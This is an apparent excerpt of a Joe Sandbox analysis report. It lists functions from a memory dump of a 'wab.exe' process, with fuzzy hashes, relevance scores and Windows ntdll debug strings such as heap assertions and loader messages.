Opcode Fuzzy Hash: a61b9a4078d632f62cf37a9077570a792b0f887135104b48183fd7aeca11a484
Instruction Fuzzy Hash: EC91F371604B81DFD735EF24C888B2AB7A9EF54A00F0548F9F944DB291DB34E940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 23BF6962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON

Download Yara Rule

Strings

, xrefs: 23C3CA51
@, xrefs: 23BF6C24

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: $@
API String ID: 0-1077428164
Opcode ID: 0afb74fcbcfc8441fcc0dd08fd0690366cf71033bc1b60a2bdfb53bbdefb836a
Instruction ID: 6fd04295d29a503b51c9453ff1f35da0ea4e1e63be0918ba3d22163067374d44
Opcode Fuzzy Hash: 0afb74fcbcfc8441fcc0dd08fd0690366cf71033bc1b60a2bdfb53bbdefb836a
Instruction Fuzzy Hash: 6AC2AD72A083819FD724CF24C881B9BBBE5EF89744F0499ADF989C7251D734D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 23BDB440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Enter, xrefs: 23BDB465
{, xrefs: 23C337B6
LdrpResGetResourceDirectory Exit, xrefs: 23BDB477

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: e0966115ee2b80a9d2b769726343ccfd76640061dcc7c04a6568d0c1c488f4a9
Instruction ID: 49c19786c3e3daee7140bbe192c8c35b021c5d20ba53ba9f4a90b767f36760c8
Opcode Fuzzy Hash: e0966115ee2b80a9d2b769726343ccfd76640061dcc7c04a6568d0c1c488f4a9
Instruction Fuzzy Hash: 2491CC72A04249CBDF21DF58C590BAEB7B0FF46354F1841EAE910AB291D778DA80CF94

Uniqueness

Uniqueness Score: -1.00%

Function 23BF0BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

LdrpCheckModule, xrefs: 23C3A117
Failed to allocated memory for shimmed module list, xrefs: 23C3A10F
minkernel\ntdll\ldrinit.c, xrefs: 23C3A121

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 0-161242083
Opcode ID: 37450cbe3557f7d07e63b07a664eda7a332c04ae932edf456c26cfb21cbe10ae
Instruction ID: a4517f01f6adbf9539bef2ad45eb7b657f53a7e2de265d3bb23645db927fab1d
Opcode Fuzzy Hash: 37450cbe3557f7d07e63b07a664eda7a332c04ae932edf456c26cfb21cbe10ae
Instruction Fuzzy Hash: A271D275A00205DFCB14EF68C984AAEB7F4FB68304F1944B9E802DB261D738AE55CB51

Uniqueness

Uniqueness Score: -1.00%

Function 23BE0A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C35335
HEAP: , xrefs: 23C35342
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 23C3534D

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: c59c9bc844484eff69cb0b5de10483839ecc158e028237ad0580f0e8af068659
Instruction ID: b5e9e4ec1bf00b371e95eee13f23efeae0ab161929e96bd9b58fddaf8babb468
Opcode Fuzzy Hash: c59c9bc844484eff69cb0b5de10483839ecc158e028237ad0580f0e8af068659
Instruction Fuzzy Hash: FA61BA70600345DFD728DF29C480B6ABBE5FF45708F5885AAE899CF292D770E981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 23C7DAAC Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C7DC12
Heap block at %p modified at %p past requested size of %Ix, xrefs: 23C7DC32
HEAP: , xrefs: 23C7DC1F

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: d303cd282b920273cab1c5d20b6f578da3ee897c9a9a706be35cd50ab3162243
Instruction ID: 9946484cba0553c7d50c90903835ad248204446340d686176b5d38ef640685ed
Opcode Fuzzy Hash: d303cd282b920273cab1c5d20b6f578da3ee897c9a9a706be35cd50ab3162243
Instruction Fuzzy Hash: 1A5103351046508EE360EF2AC48CB72B7F9EB45284F1488DBECD2CF1C5DA66D846DB61

Uniqueness

Uniqueness Score: -1.00%

Function 23BD1B04 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C2FB4B
RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex)), xrefs: 23C2FB63
HEAP: , xrefs: 23C2FB58

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex))
API String ID: 0-1596344177
Opcode ID: 4770e63ee5e0ce6869553cbc34c1c3a323e77eae8be44d86d78da46c170916e3
Instruction ID: 7a63595c006813a80f7f2629467924e72c0c005d138cc3dec67abafd9425753c
Opcode Fuzzy Hash: 4770e63ee5e0ce6869553cbc34c1c3a323e77eae8be44d86d78da46c170916e3
Instruction Fuzzy Hash: 3851DE32A04259DFDB14DF68C584A69BBF5FF48310F1981E9E8149F242E731EE42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23BE0BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 23C35431
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 23C35449
HEAP: , xrefs: 23C3543E

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 49e8198ff101c865fb07bf1be230a18c5e631cc2c47bd6f54fbc6b9f80763a06
Instruction ID: c6221f712d8d7dc13504f5ed2334e52faca0b233395e7e386b0d504ffce5b5df
Opcode Fuzzy Hash: 49e8198ff101c865fb07bf1be230a18c5e631cc2c47bd6f54fbc6b9f80763a06
Instruction Fuzzy Hash: 0A11AF313152819FD728DF2AC890F6AF3A8EF41619F5985F9E809CF292DB34D941C751

Uniqueness

Uniqueness Score: -1.00%

Function 23BDA9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

LdrResSearchResource Exit, xrefs: 23BDAA25
LdrResSearchResource Enter, xrefs: 23BDAA13

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
API String ID: 0-4066393604
Opcode ID: 2c010a165b1a099685ad341dc72c5e55dc27db2cc3b1e6d3d55c79f7a705c05b
Instruction ID: dfef033beb4eb1a4de43d25cd6f1d1d2f3f95706f58aa1d2e45bef40491d8b92
Opcode Fuzzy Hash: 2c010a165b1a099685ad341dc72c5e55dc27db2cc3b1e6d3d55c79f7a705c05b
Instruction Fuzzy Hash: EEE19E72A1069CAFEB11DF99CD80B9EB7B9EF4A310F1441B6E900EB291D774CA41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 23CAB9DF Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

RedirectedKey, xrefs: 23CABA8E
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 23CABA44

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: 5dec25966fc16a2f869de80d8d6cfe6f07e437d2834491b3a75390c8b5e2aa6a
Instruction ID: 8772c98dfc92ab95d051305349c4ab429e7671d9afd7cdfac54c29e8387ddbaa
Opcode Fuzzy Hash: 5dec25966fc16a2f869de80d8d6cfe6f07e437d2834491b3a75390c8b5e2aa6a
Instruction Fuzzy Hash: 456100B2C00219EFCB11DFD9C989ADEBBB9FF48700F1440AAE505E7604DB359A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 23BD04E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

kLsE, xrefs: 23BD0540
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 23BD063D

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: e21d6d0537c9413364358531d6bdb12bc7736477e1b13b15d84ca7dd1d3eea92
Instruction ID: 74f766e70b0f0e5f330a446df2688b512dc41a41371507c8924362ef68d567ab
Opcode Fuzzy Hash: e21d6d0537c9413364358531d6bdb12bc7736477e1b13b15d84ca7dd1d3eea92
Instruction Fuzzy Hash: 2751E2B250474A8FC324EF24C584697BBE8EF84304F0488BEEAE987251E774D645CF96

Uniqueness

Uniqueness Score: -1.00%

Function 23C034B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 23C42A90
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 23C42A95

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: 72aa4285201d35bd3a8e3e17b55eae1126871baacb9f1e5f1cd4a42911cbcb00
Instruction ID: 188f038bbda00d586e6639797f76bb1894d81b7878e1935e108f2de0754650a7
Opcode Fuzzy Hash: 72aa4285201d35bd3a8e3e17b55eae1126871baacb9f1e5f1cd4a42911cbcb00
Instruction Fuzzy Hash: 33115972B04214BFE726CE88CD42F6B76A9DB94B04F1980E9BF04EF284D670CD0087A4

Uniqueness

Uniqueness Score: -1.00%

Function 23BD59C0 Relevance: 1.7, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 23C30AA7

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 526583ea89c46c978350504ff2782a7cc216bccae066be3eed359967a2b1a665
Instruction ID: 54a96035ed95707358ae7244bfc5cda76d921c54ff0ba31de797d171ba6c3020
Opcode Fuzzy Hash: 526583ea89c46c978350504ff2782a7cc216bccae066be3eed359967a2b1a665
Instruction Fuzzy Hash: 76325572D0026DDFDB21DF64C884BDDBBB4BB19304F4440EAD549AB291E7B49A88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 23C07505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 23C44622

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction ID: 3809e8560a22e9551114ee115bbf6fdaff11474c38fb7f5f1f87bec77030d6ab
Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction Fuzzy Hash: B7418E75A0065AABCB29EF88C490BFEB7B5FF44701F1440AAE945EB241DB34D941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 23C4CA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 23C4CAA2

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 5f0caa3b3b751527692f68197ab0d6d984fa573d699d47602ce7a265a4ad188c
Instruction ID: b60231e23d5d3518ea1fde69c1b0b8a39577242b98eadf3d0983b88bf1e8f329
Opcode Fuzzy Hash: 5f0caa3b3b751527692f68197ab0d6d984fa573d699d47602ce7a265a4ad188c
Instruction Fuzzy Hash: 7331D136D41619BFDB15DA59C845E6BB778EB80760F0181A9AA15EB2A0DB309E00CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 23C5892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 23C5895E

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 3ff0a25d2c89d398c262568765d2da1977cbe073afb14bb4adb5d5c0b63daf44
Instruction ID: 16d0b319cbe30f663d3f2b9a3924629e8abf99e45ccf69be46a7a825c7fdb23c
Opcode Fuzzy Hash: 3ff0a25d2c89d398c262568765d2da1977cbe073afb14bb4adb5d5c0b63daf44
Instruction Fuzzy Hash: E901A7723083549FD725BE528CC8B6AB7B5EF95290F0408E8F641EA552CB256C41C69E

Uniqueness

Uniqueness Score: -1.00%

Function 23BD6A50 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544d89dbaa81a936f27ec4468ea83bf5d41f4ac28542b32fd49c9e3a34b9fffe
Instruction ID: 9b007b19e2477f048e66966062225491a21c05e37c90926d3870162bc6aaeafa
Opcode Fuzzy Hash: 544d89dbaa81a936f27ec4468ea83bf5d41f4ac28542b32fd49c9e3a34b9fffe
Instruction Fuzzy Hash: 99329B72A05249CFCB14DFA8C480B9AB7F5FF48310F5485A9E959EB391DB34E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23BF4A35 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction ID: 6a18f42383fd9b76b45a33b6a899a3886f1b18afd201df8bfc15d980497ab3af
Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction Fuzzy Hash: D2F17871F002099BCB14DFA9C980BAEB7B9FF48700F0991A9E904EB251E774DD46CB64

Uniqueness

Uniqueness Score: -1.00%

Function 23BDF950 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf1f903f10810867f40e4a0d4ef90a3e4bec043c36a55189c7a32a0d280cca5
Instruction ID: 0bbb2e4e00134aa2cde56a4894e1762f790d9522a4669083d9cfcbe2a6f04bea
Opcode Fuzzy Hash: 4bf1f903f10810867f40e4a0d4ef90a3e4bec043c36a55189c7a32a0d280cca5
Instruction Fuzzy Hash: BEF1AE76E0831DCFCB14DF58C898AAEB7B1FF58700F1845AAE845AB354E7349951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23BC8397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29292c5fb1c859401376b0a8d1595b413714a19935b0090e4e64e10bad3f087b
Instruction ID: c6bf321624e09cc3d5d57618954d45d3789a092e996734421c58cdf5ca5d4265
Opcode Fuzzy Hash: 29292c5fb1c859401376b0a8d1595b413714a19935b0090e4e64e10bad3f087b
Instruction Fuzzy Hash: 73D1E571A0079A9FCF24DF64C890EAA77B5FF58304F044ABAE915DB291EB34D941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23BE38E0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0c01cca3124b9a7a8a2cb65bc8ff9c162e2247ee4c90de254fb87b33e42249
Instruction ID: d459dec951aeff45ef6fcee8f8f9b0f848084b3965911a15becc44394b486841
Opcode Fuzzy Hash: 3a0c01cca3124b9a7a8a2cb65bc8ff9c162e2247ee4c90de254fb87b33e42249
Instruction Fuzzy Hash: 07E1C075A00245CFCB18DF68C580AAAF7F5FF48310F1981A9E45AEB391D734EA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23BEF460 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b758184c6f01d6986664cf8adf4a9c99e06e24a5d31ae69f8d50763bc099be5d
Instruction ID: ddbbe7971e5aae2753332db674ffd3f935fce2fabd7eb150099fee1fc4d1427b
Opcode Fuzzy Hash: b758184c6f01d6986664cf8adf4a9c99e06e24a5d31ae69f8d50763bc099be5d
Instruction Fuzzy Hash: 53C1FF31A017218FCB14EF1CC598BB9B7F1EF94704F9A41F9E9499B2A2D7348A50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23BCC427 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5bafb393fe578b16e1a973cd37e119739661f11c65e9b8119f78e2a5eb10c4d
Instruction ID: 9ed8e2eeee116da33ab1e2ca3b90160debd59f7f8a7d49397eaa3d0c7d65669d
Opcode Fuzzy Hash: e5bafb393fe578b16e1a973cd37e119739661f11c65e9b8119f78e2a5eb10c4d
Instruction Fuzzy Hash: 17B18274A006958FDB34DF64C890BA9B3B5EF54700F0489EAD50AEB251EB70DEC6CB25

Uniqueness

Uniqueness Score: -1.00%

Function 23CA4500 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2348740499.0000000023BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 23BA0000, based on PE: true

Associated: 0000000A.00000002.2348740499.0000000023CC9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023CCD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2348740499.0000000023D3E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_23ba0000_wab.jbxd

